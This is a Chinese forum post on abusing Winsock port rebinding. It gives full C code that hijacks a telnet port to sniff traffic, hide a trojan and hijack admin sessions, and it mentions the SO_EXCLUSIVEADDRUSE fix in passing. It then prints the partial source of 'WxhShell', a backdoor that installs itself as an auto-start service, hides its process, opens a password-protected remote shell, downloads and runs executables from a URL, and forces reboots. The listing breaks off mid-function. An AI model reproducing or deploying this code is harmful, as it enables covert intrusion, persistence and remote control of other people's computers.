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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WLg6-@kxXs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eXskwV+7  
$Uv<LVd(  
  saddr.sin_family = AF_INET; ]be 0I)  
gJ)h9e*m^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'sT}DX(7M  
MEdIw#P.}{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \NvC   
|r)>bY7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 23B^g  
@p9e:[  
  这意味着什么?意味着可以进行如下的攻击: o$[a4I  
k1QpX@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /xX,   
a}[=_vb}K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :IP;Frc MP  
$S($97IU=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~pX(w!^  
/iuUUCk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3iwoMrp  
"w:\@Jwu(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |k['wqn"  
YoSo0fQA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !Vp,YN+yN  
^C,/T2>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [0**&.obz  
S<2CG)K[  
  #include dw{#||  
  #include d[P>jl%7  
  #include n)1  
  #include    <{-(\>f!9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cpr{b8Xb8&  
  int main() tF;& x g  
  { ,oBk>  
  WORD wVersionRequested; 6N)< o ;U  
  DWORD ret; ~vjr;a(B  
  WSADATA wsaData; 82Z[eo  
  BOOL val; E,ZB;  
  SOCKADDR_IN saddr; Mo/2,DiI5  
  SOCKADDR_IN scaddr;  "df13U"  
  int err; (> +k3  
  SOCKET s; 5tgILxSK  
  SOCKET sc; (DEL xE  
  int caddsize; 4$q )e<-  
  HANDLE mt; _x,-d|9b d  
  DWORD tid;   ~Uwr68 9N  
  wVersionRequested = MAKEWORD( 2, 2 ); 4}r\E,`*X  
  err = WSAStartup( wVersionRequested, &wsaData ); AK*mcTr  
  if ( err != 0 ) { j]ln :?\  
  printf("error!WSAStartup failed!\n"); (to/9OrG  
  return -1; 0$F _hZU  
  } =Nv= Q mO  
  saddr.sin_family = AF_INET; E{+c*sz  
   98b9%Z'2f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z+`{JE#  
5b{yA~ty  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >2/wzsW  
  saddr.sin_port = htons(23); QBPvGnb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^ T:qT*v  
  { %x'bo>h@  
  printf("error!socket failed!\n"); ;I`,ZKY  
  return -1; |Ad6~E+aL-  
  } ]\os`At  
  val = TRUE; :>er^\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \0^rJ1*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t7*H8  
  { Hq"<vp  
  printf("error!setsockopt failed!\n"); _A~~L6C  
  return -1; v,!Y=8~9  
  } s:m<(8WRw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tsSS31cv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eN2k8=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5>4A}hSe  
kb}]sj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2XecP'+m  
  { <p L;-  
  ret=GetLastError(); J.1ln = Y  
  printf("error!bind failed!\n"); S\{^LVXTMd  
  return -1; ~d#;r5>  
  } MRVz:g\mi  
  listen(s,2); )o'U0rAx|a  
  while(1) &"H<+>`  
  { x9o^9QJh  
  caddsize = sizeof(scaddr); xJH9qc ME  
  //接受连接请求 -Y jv&5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .^N#|hp^  
  if(sc!=INVALID_SOCKET) 8)q]^  
  { yZ(Nv $[5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yK>0[6l  
  if(mt==NULL) q:~`7I  
  { 3Ld ;zW  
  printf("Thread Creat Failed!\n"); +{Vwz  
  break; sKB-7  
  } amk42  
  } ,TfI  
  CloseHandle(mt); SU#P.y18%  
  } < jocfTBk  
  closesocket(s); .^`a6>EQ)|  
  WSACleanup(); ,d [b"]Zy  
  return 0; O3w_vm'  
  }   /YugQ.>| l  
  DWORD WINAPI ClientThread(LPVOID lpParam) }Cq9{0by?a  
  { :'=~/GR  
  SOCKET ss = (SOCKET)lpParam; Dxa)7dA|  
  SOCKET sc; T.m)c%]^/  
  unsigned char buf[4096]; A2O_pbQti  
  SOCKADDR_IN saddr; "TH-A6v1  
  long num; O"s`-OM;n  
  DWORD val; ^* /v,+01f  
  DWORD ret; 3W0E6H"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1~xn[acy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   { d2f)ra.  
  saddr.sin_family = AF_INET; |>o0d~s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6L6~IXL>  
  saddr.sin_port = htons(23); ^p-e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <sWcS; x  
  { @tv];t  
  printf("error!socket failed!\n"); 8hdAXWPn  
  return -1; 5vh"PlK`s  
  } ao" ;5 m  
  val = 100; O]%m{afM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a_iQlsU  
  { FnQ_=b  
  ret = GetLastError(); ^q N1~v=hS  
  return -1; A7,$y!D  
  } /HJ(Wt q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RnBmy^l"  
  { Sp$x%p0  
  ret = GetLastError(); /%q9hI   
  return -1; Nj@?}`C 4  
  } \F+o=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >LaL! PnZ  
  { 1q233QSW)  
  printf("error!socket connect failed!\n"); =&*QT&e  
  closesocket(sc); qL;T&h  
  closesocket(ss); `=l{kBZT|  
  return -1; (R*jt,x  
  } GqD!W8+  
  while(1) IweK!,:>dN  
  { Md?bAMnG+}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ONe!'a0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6r-n6#=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5NvyK[w]  
  num = recv(ss,buf,4096,0); ${?exnb$  
  if(num>0) NUnc"@  
  send(sc,buf,num,0); Yg,WdVI&@  
  else if(num==0) 56 kgL;$h  
  break; FR6I+@ oX~  
  num = recv(sc,buf,4096,0); ]%Yis=v  
  if(num>0) k42ur)pb  
  send(ss,buf,num,0); sv6U%qV  
  else if(num==0) DMxS-hl  
  break;  t-x"(  
  } Oi[9b  
  closesocket(ss); irw 7  
  closesocket(sc); <^q"31f  
  return 0 ; =ObtD"  
  } ~q|e];tA  
H!>oLui  
.&}4  
========================================================== 95 .'t}  
3XlnI:w =  
下边附上一个代码,,WXhSHELL MMr7,?,$  
hYv 6-5_  
========================================================== <J }9.k  
|QTqa~~B  
#include "stdafx.h" 8EEQV}4  
IS4K$Ac.  
#include <stdio.h> W#\};P  
#include <string.h> 32|L $o  
#include <windows.h> $H@)hY8wA  
#include <winsock2.h> 2CgIY89O  
#include <winsvc.h> 6')SJ*|yS  
#include <urlmon.h> jMWwu+w  
+U)|&1oa  
#pragma comment (lib, "Ws2_32.lib") bnY8.Lpf|  
#pragma comment (lib, "urlmon.lib") cBF%])!  
@#Uiy5N  
#define MAX_USER   100 // 最大客户端连接数 I_I;.Ik  
#define BUF_SOCK   200 // sock buffer WCl;#=  
#define KEY_BUFF   255 // 输入 buffer 7`<? f O  
X6*y/KG N  
#define REBOOT     0   // 重启 &r5%WRzpYT  
#define SHUTDOWN   1   // 关机 mL5f_Fb+  
wR+`("2{r  
#define DEF_PORT   5000 // 监听端口 BOQV X&g%  
s i.a]k/f  
#define REG_LEN     16   // 注册表键长度 $5CY<,f  
#define SVC_LEN     80   // NT服务名长度 [K@!JY  
~)IJE+e>}  
// 从dll定义API 'L59\y8H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "v(]"L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `/ReJj&~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uWtS83i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2pNJWYW"  
"_@+/Iy.  
// wxhshell配置信息 _"bvT?|  
struct WSCFG {  KP-z  
  int ws_port;         // 监听端口 /D]r "-  
  char ws_passstr[REG_LEN]; // 口令 :9q^  
  int ws_autoins;       // 安装标记, 1=yes 0=no UMW^0>Z!v  
  char ws_regname[REG_LEN]; // 注册表键名 $hp?5K M  
  char ws_svcname[REG_LEN]; // 服务名 (IHBib "  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 il%tu<E#J~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !;C(pnE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *"sDaN0@R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,vw`YKg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gL"Q.ybA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #&KE_ n  
)mVYqlU"  
}; >t2)Z|1  
rWpfAE)!  
// default Wxhshell configuration mf[79:90^  
struct WSCFG wscfg={DEF_PORT, o? "@9O?  
    "xuhuanlingzhe", WvzvGT=  
    1, 5d{Ggg{s  
    "Wxhshell", k#NMD4(%O  
    "Wxhshell", afq +;Sh  
            "WxhShell Service", n(O p<  
    "Wrsky Windows CmdShell Service", )^#Zg8L  
    "Please Input Your Password: ", {&qsh9ob  
  1, L\CM);y  
  "http://www.wrsky.com/wxhshell.exe", Ki;5 =)  
  "Wxhshell.exe" <KPx0g?=b  
    }; rB|:r\Z(jG  
-+@~*$ d  
// 消息定义模块 Awf = yE:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ms<uYLp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zGz'2, o3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xm, yqM!0A  
char *msg_ws_ext="\n\rExit."; :?6$}GcW  
char *msg_ws_end="\n\rQuit."; v+o3r]Y6  
char *msg_ws_boot="\n\rReboot..."; bJ!f,a'/  
char *msg_ws_poff="\n\rShutdown..."; {:OVBX  
char *msg_ws_down="\n\rSave to "; r74w[6(  
s(Bi& C\  
char *msg_ws_err="\n\rErr!"; 0MGK3o)  
char *msg_ws_ok="\n\rOK!"; [z@RgDX v  
.h^Ld,Chj  
char ExeFile[MAX_PATH]; I19F\ L`4  
int nUser = 0; 2czL 1Ci  
HANDLE handles[MAX_USER]; abP?Dj&  
int OsIsNt; N ] /d  
3"D00~  
SERVICE_STATUS       serviceStatus; 2]f.mq_PD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CGl+!t{  
irj}:f;!eF  
// 函数声明 |ema-pRC  
int Install(void); , )3+hnFY  
int Uninstall(void); W?Abx  
int DownloadFile(char *sURL, SOCKET wsh); ?+o7Y1 k,  
int Boot(int flag); T7_rnEOO   
void HideProc(void); 7B"aFnK;[J  
int GetOsVer(void); )WJI=jl  
int Wxhshell(SOCKET wsl); )3 ">%1R  
void TalkWithClient(void *cs); oYx f((x  
int CmdShell(SOCKET sock); 98nLj9  
int StartFromService(void); Q_Sq  uuk  
int StartWxhshell(LPSTR lpCmdLine); UpBYL?+L  
RVy87_J1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >&Lu0oHH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iPNs EQ0We  
gipRVd*TA  
// 数据结构和表定义 SYLkC [0 k  
SERVICE_TABLE_ENTRY DispatchTable[] = w*@Z-'(j  
{ Z9bPj8d  
{wscfg.ws_svcname, NTServiceMain}, S]@iS[|?  
{NULL, NULL} K%_JQ0`  
}; ,{t!->K  
4HmRsOl  
// 自我安装 1&E&8In]$r  
int Install(void) P"<ad kr  
{ H8k| >4  
  char svExeFile[MAX_PATH]; .W:], 5e  
  HKEY key; cu|q &  
  strcpy(svExeFile,ExeFile); 'Q,<_ L"  
8Wp1L0$B  
// 如果是win9x系统,修改注册表设为自启动 CMUphS-KE  
if(!OsIsNt) { `&JA7UD>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Py<vN!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lR^Qm|  
  RegCloseKey(key); x9s`H)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'o9V0#$!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y :BrAa[  
  RegCloseKey(key); K 2v)"|T)  
  return 0; {a%cU[q  
    } FQ^uX]<3j  
  } ?"Q6;np*  
} lph_cY3p  
else { P~>nlm82]  
EJY:C9W  
// 如果是NT以上系统,安装为系统服务 l]cQ7g5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y+h=x4t  
if (schSCManager!=0) |9M y>8k(  
{ EatDT*!  
  SC_HANDLE schService = CreateService vUA`V\  
  ( ]z NL+]1_  
  schSCManager, xSZw,  
  wscfg.ws_svcname, kp"cHJNx  
  wscfg.ws_svcdisp, -7Wmq[L /  
  SERVICE_ALL_ACCESS, '.yr8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ] "_'o~  
  SERVICE_AUTO_START, |V]E8Qt  
  SERVICE_ERROR_NORMAL, e@Y R/I8my  
  svExeFile, ]B[Qdn  
  NULL, /2I("x]  
  NULL, EQ-~e   
  NULL, ,oe4*b}O=.  
  NULL, L}nc'smvM  
  NULL % VZ\4+8S  
  ); >48Y-w  
  if (schService!=0) ><^@1z.J  
  { 4 -W?u51"  
  CloseServiceHandle(schService); h~t]WN  
  CloseServiceHandle(schSCManager); B[h9epU]K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E>v~B;@  
  strcat(svExeFile,wscfg.ws_svcname); E"!*ASN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $!lxVZ>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &*~ WK  
  RegCloseKey(key); `dhK$jYD  
  return 0; h#9)M  
    } G<DUy^$i  
  } 7ac3N  
  CloseServiceHandle(schSCManager); /8R1$7  
} E u   
} (reD  
u:|5jF  
return 1; z /=v@@tj  
} !h\3cs`QU  
;?9~^,l  
// 自我卸载 g!UM8I-$  
int Uninstall(void) J4; ".Y=  
{ dl4.jLY  
  HKEY key; !j@ 8:j0WY  
q\<vCKI-^  
if(!OsIsNt) { oY: "nE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;MD{p1w  
  RegDeleteValue(key,wscfg.ws_regname); 3 -FNd~%  
  RegCloseKey(key); `)fGw7J {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |v&&%>A2  
  RegDeleteValue(key,wscfg.ws_regname); )Ec;krb+  
  RegCloseKey(key); s+11) ~  
  return 0; }, H,ky  
  } ]]4E)j8  
} 3z<t#  
} tuSgh!  
else { `,O^=HBM  
zb(u?U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +TX]~k79Oq  
if (schSCManager!=0) =&'j;j  
{ WUWQcJj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FtXEudk  
  if (schService!=0) tKs0]8tc  
  { HT'dft #  
  if(DeleteService(schService)!=0) { H#D=vx'  
  CloseServiceHandle(schService); (;h\)B!o  
  CloseServiceHandle(schSCManager); <LE>WfmC  
  return 0; =9M-N?cV  
  } *V/SI E*8  
  CloseServiceHandle(schService); X}Lp!.i9o  
  } Rzk JS9)m  
  CloseServiceHandle(schSCManager); |^{ IHF\  
} \wd~ Y  
} .:0nK bW  
P\R3/g  
return 1; tg:x}n  
} V/Tp&+Z.c  
WJ@,f%=<~  
// 从指定url下载文件 1<F/boF~  
int DownloadFile(char *sURL, SOCKET wsh) lF<(yF5  
{ i || /=ai  
  HRESULT hr; &uM?DQ`o8  
char seps[]= "/"; dxA=gL2  
char *token; k&2I(2S  
char *file; 03xQ%"TU<  
char myURL[MAX_PATH]; x]:mc%4-Z  
char myFILE[MAX_PATH]; s`{O-  
uf6{M_jXZ  
strcpy(myURL,sURL); [T|~K h%#  
  token=strtok(myURL,seps); .Qaqkb-Ty  
  while(token!=NULL) 7@`(DU`z  
  { ^t*BWJxPC  
    file=token; %$08*bAtB7  
  token=strtok(NULL,seps); b4Z#]o  
  } 2yNlQP8%  
sbVeB%k  
GetCurrentDirectory(MAX_PATH,myFILE); +MEWAW[}^  
strcat(myFILE, "\\"); SE\`JGA[  
strcat(myFILE, file); 0y(d|;':  
  send(wsh,myFILE,strlen(myFILE),0); O/-xkzR*  
send(wsh,"...",3,0); Y#G '[N>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vj_ $%0  
  if(hr==S_OK) Uhf -}Jdw  
return 0; c{[d@jt O  
else pq@ad\8  
return 1; 6 ^p 6v   
+um; eL7  
} -Fb/GZt|  
y ^YrGz.  
// 系统电源模块 S7V;sR"V2  
int Boot(int flag) tY7u\Y;^  
{ 49CMRO,T  
  HANDLE hToken; sx9 N8T3n  
  TOKEN_PRIVILEGES tkp; :Q%&:[2  
mU*GcWbc+  
  if(OsIsNt) { ? in&/ZrB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P iN3t]2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #2}S83 k  
    tkp.PrivilegeCount = 1; :ZUy(8%Wl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /];F4AO5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2oN lQiE_  
if(flag==REBOOT) { Yd@9P 2C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nX   
  return 0; dM QnN[d6  
} 4m~\S)ad  
else { Axr 'zc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !nu#r$K(  
  return 0; '  _N >  
} )/BKN`,  
  } a+Q)~13  
  else { {#7t(:x  
if(flag==REBOOT) { h7g9:10  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;m\E9ple  
  return 0; {r Gx*<e  
} f6DPah#  
else { ioZ2J"s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1 @/+ c  
  return 0; bo]k9FC  
} 2WKA] l;  
} Tux~4W  
R^D~ic N  
return 1; !OiP<8 ,H  
} FrB19  
JAgec`T%  
// win9x进程隐藏模块 |u03~L9G  
void HideProc(void) _ yU e2Gd  
{ l9n 8v\8,o  
&4 ]%&mX)-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fz:F*zT1  
  if ( hKernel != NULL ) P afmHXx  
  { 'Y[\[]3[8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -2f0CAh~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m0 `wmM  
    FreeLibrary(hKernel); %F03cI,  
  } py)V7*CgH  
 pxP7yJL`  
return; ] $5rh8  
} @%RDw*L(  
8R)*8bb  
// 获取操作系统版本 :kgwKuhL  
int GetOsVer(void) !Qn:PSk  
{ Xc'yz 2B  
  OSVERSIONINFO winfo; SMnbI .0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O9!<L.X,%  
  GetVersionEx(&winfo); ]Dx5t&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z. 7 UfLV9  
  return 1; _c`Gxt%  
  else P4s:wuJ^  
  return 0; 64[j:t=N  
} !DLIIKO78  
-O oXb( I4  
// 客户端句柄模块 D`Fl*Wc4H  
int Wxhshell(SOCKET wsl) u U\UULH0  
{ Q5baY\"9^  
  SOCKET wsh; pS51fF9  
  struct sockaddr_in client; tk~7>S  
  DWORD myID; ZQ@^(64  
TMGZHOAt  
  while(nUser<MAX_USER) .0Cpqn,[  
{ <TDgv%eg0  
  int nSize=sizeof(client); ?eeE[F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pf]L`haGN  
  if(wsh==INVALID_SOCKET) return 1; 6=FF*"-6E  
aY6]NpT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V[CS{Hy'  
if(handles[nUser]==0) he 9qWL&^G  
  closesocket(wsh); nAg|m,gA  
else ZcIwyh(`  
  nUser++; W)o-aX!P  
  } OfIml.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %$S.4#G2  
i |cSO2O+  
  return 0; v cqL  
} PJO +@+"{@  
`[[ A 7  
// 关闭 socket pM.>u/=X  
void CloseIt(SOCKET wsh) pl'n 0L<l  
{ izOtt^#DZt  
closesocket(wsh); t4 $cMf  
nUser--; 4WU 6CN  
ExitThread(0); Zn&X Uvdl  
} cy%^P^M  
!c'a<{d@  
// 客户端请求句柄 k(!#^Mlz[  
void TalkWithClient(void *cs) kC6J@t)  
{ BPtU]Bv-  
Ig*!0(v5$  
  SOCKET wsh=(SOCKET)cs; x>7}>Y*(  
  char pwd[SVC_LEN]; HtPasFrJ  
  char cmd[KEY_BUFF]; UjUDP>iz.>  
char chr[1]; R 8?Xz5  
int i,j; NgQ {'H[Y  
OV^) N  
  while (nUser < MAX_USER) { t d-EB&i\  
N'3Vt8o,  
if(wscfg.ws_passstr) { (hs[B4nV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V;Te =4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Z#lf  
  //ZeroMemory(pwd,KEY_BUFF); 89?AcZ.D  
      i=0; ?HAWw'QW  
  while(i<SVC_LEN) { J_<ENs-  
@'jC>BS8`  
  // 设置超时 H~Hh $-z  
  fd_set FdRead; u6$fF=  
  struct timeval TimeOut; >@` D@_v  
  FD_ZERO(&FdRead); ]t(;bD hT  
  FD_SET(wsh,&FdRead); `pOiv&>  
  TimeOut.tv_sec=8; =;`+^  
  TimeOut.tv_usec=0; zH eqV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z<;am  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _/]4:("  
4F^(3RKZ|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +'x|VPY.PG  
  pwd=chr[0]; ZQZ>{K  
  if(chr[0]==0xd || chr[0]==0xa) { grp1nWAs  
  pwd=0; oX8e}  
  break; o&-q.;MY  
  } lL/|{A|-j  
  i++; P0Z1cN}  
    } [2WJ>2r}6  
mtOCk 5E  
  // 如果是非法用户,关闭 socket E0o=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z%<Z#5_N  
} &J,MJ{w6"  
ag+$qU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oEGe y8?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gR )xw)!  
)u7y.o  
while(1) { W4Tuc:X5  
]SA]{id+  
  ZeroMemory(cmd,KEY_BUFF); pA&CBXio  
6p=AzojoB  
      // 自动支持客户端 telnet标准   p;,Cvw{.;%  
  j=0; Zx@/5!_n.  
  while(j<KEY_BUFF) { MDM/~Qpj_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :U$<h  
  cmd[j]=chr[0]; Lp`q[Z*  
  if(chr[0]==0xa || chr[0]==0xd) { hB]4Tn5H  
  cmd[j]=0; b%z4u0  
  break; )#%k/4(Y  
  } /{gCf  
  j++; /4}{SE  
    } 07:CcT  
oj/,vO:QT  
  // 下载文件 _VFl.U,   
  if(strstr(cmd,"http://")) { 0O5(\8jM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2^'|[*$k1@  
  if(DownloadFile(cmd,wsh)) .v?Ir)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \#?n'qyj  
  else !yI , ~`Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NifzZEX  
  } ]>M{Q n*  
  else { tsaf|xe  
^rO3B?_  
    switch(cmd[0]) { 0p YO-@E  
  2m7Z:b  
  // 帮助 .'.#bH9K  
  case '?': { zZ@]Kq;.s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =87.6Ai  
    break; Q ;V `  
  } y9kydu#q  
  // 安装 35|F?Jx.r  
  case 'i': { PQ9.aJdw@-  
    if(Install()) yhhW4rz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #+I)<a7\  
    else 3\j{*f$J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wDJbax?  
    break; mltG4R ?  
    } wcDHx#~  
  // 卸载 U>PF#@ C/  
  case 'r': { mF7T=pl  
    if(Uninstall()) O4H %x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zX *+J"x  
    else >*rH Nf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gB BS}HF  
    break; ~Y]*TP  
    } YaI8hj@}  
  // 显示 wxhshell 所在路径 VbQ9o  
  case 'p': { m/vwM"  
    char svExeFile[MAX_PATH]; rWzw7T~  
    strcpy(svExeFile,"\n\r"); ?|Y/&/;%I  
      strcat(svExeFile,ExeFile); /|v:$iH,C  
        send(wsh,svExeFile,strlen(svExeFile),0); .b'hVOs{  
    break; #Q320}]{  
    } DWT4D)C,U  
  // 重启 OJ0Dw*K<  
  case 'b': { KFd !wZ @e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7[aSP5e>T  
    if(Boot(REBOOT)) k=L(C^VP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yv2BbrYyy  
    else { }H2<w-,+  
    closesocket(wsh); 5[NF  
    ExitThread(0); nW?DlECo?  
    } T <J%|d .'  
    break; woIcW  
    } 0=  ]RG  
  // 关机 U6SgV 8  
  case 'd': { l{OU \  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c}(fmJB&(  
